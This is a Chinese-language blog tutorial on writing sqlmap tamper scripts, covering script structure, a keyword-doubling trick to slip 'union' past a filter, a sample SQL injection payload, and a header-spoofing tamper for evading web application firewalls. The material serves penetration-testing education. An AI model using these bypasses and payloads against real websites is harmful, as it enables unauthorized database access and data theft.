sqlmap-tamper編寫指南

注:最近遇到了一些奇奇怪怪的waf,想自己寫一些tamper但是發現沒有參考材料可以使用,因此寫了這篇文章,以方便進行自定義的tamper編寫。筆者筆力有限,如有錯誤,敬請讀者們指正。

0x00 sqlmap tamper簡介

sqlmap是一個自動化的SQL注入工具,而tamper則是對其進行擴展的一系列腳本,主要功能是對本來的payload進行特定的更改以繞過waf。

0x01 一個最小的例子

為了說明tamper的結構,讓我們從一個最簡單的例子開始

# sqlmap/tamper/escapequotes.py

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload.replace("'", "\\'").replace('"', '\\"')

不難看出,一個最小的tamper腳本結構為priority變量定義和dependencies、tamper函數定義。

priority定義腳本的優先級,用于有多個tamper腳本的情況。

dependencies函數聲明該腳本適用/不適用的范圍,可以為空。

tamper是主要的函數,接受的參數為payload和**kwargs
返回值為替換后的payload。比如這個例子中就把引號替換為了\\'。

0x02 詳細介紹

第一部分完成了一個最簡單的tamper架構,下面我們進行更詳細的介紹

tamper函數

tamper是整個腳本的主體。主要用于修改原本的payload。舉例來說,如果服務器上有這么幾行代碼

$id = trim($POST($id),'union');
$sql="SELECT * FROM users WHERE id='$id'";

而我們的payload為

-8363'  union select null -- -

這里因為union被過濾掉了,將導致payload不能正常執行,那么就可以編寫這樣的tamper

def tamper(payload, **kwargs):
    return payload.replace('union','uniounionn')

保存為replaceunion.py,存到sqlmap/tamper/下,執行的時候帶上--tamper=replaceunion的參數,就可以繞過該過濾規則

dependencies函數

dependencies函數,就tamper腳本支持/不支持使用的環境進行聲明,一個簡單的例子如下:

# sqlmap/tamper/echarunicodeencode.py

from lib.core.common import singleTimeWarnMessage

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])

# singleTimeWarnMessage() 用于在控制臺中打印出警告信息

kwargs

在官方提供的47個tamper腳本中,kwargs參數只被使用了兩次,兩次都只是更改了http-header,這里以其中一個為例進行簡單說明

# sqlmap/tamper/vanrish.py

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

這個腳本是為了更改X-originating-IP,以繞過WAF,另一個kwargs的使用出現于xforwardedfor.py,也是為了改header以繞過waf

0x3 結語

tamper的編寫遠不止這些,本文只就其最基本的結構進行探討。作為sqlmap的擴展,在編寫tamper時幾乎所有的sqlmap內置的函數、變量都可以使用,本文不一一列出。

0x04 附錄:部分常數值

# sqlmap/lib/enums.py

class PRIORITY:
    LOWEST = -100
    LOWER = -50
    LOW = -10
    NORMAL = 0
    HIGH = 10
    HIGHER = 50
    HIGHEST = 100


class DBMS:
    ACCESS = "Microsoft Access"
    DB2 = "IBM DB2"
    FIREBIRD = "Firebird"
    MAXDB = "SAP MaxDB"
    MSSQL = "Microsoft SQL Server"
    MYSQL = "MySQL"
    ORACLE = "Oracle"
    PGSQL = "PostgreSQL"
    SQLITE = "SQLite"
    SYBASE = "Sybase"
    HSQLDB = "HSQLDB"

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當給sq...
    xuningbo閱讀 10,434評論 2 22
  • sqlmap用戶手冊 說明:本文為轉載,對原文中一些明顯的拼寫錯誤進行修正,并標注對自己有用的信息。 ======...
    wind_飄閱讀 2,114評論 0 5
  • sqlmap也是滲透中常用的一個注入工具,其實在注入工具方面,一個sqlmap就足夠用了,只要你用的熟,秒殺各種工...
    linkally閱讀 6,951評論 1 40
  • Spring Cloud為開發人員提供了快速構建分布式系統中一些常見模式的工具(例如配置管理,服務發現,斷路器,智...
    卡卡羅2017閱讀 134,991評論 19 139
  • sqlmap也是滲透中常用的一個注入工具,其實在注入工具方面,一個sqlmap就足夠用了,只要你用的熟,秒殺各種工...
    查無此人asdasd閱讀 1,573評論 0 1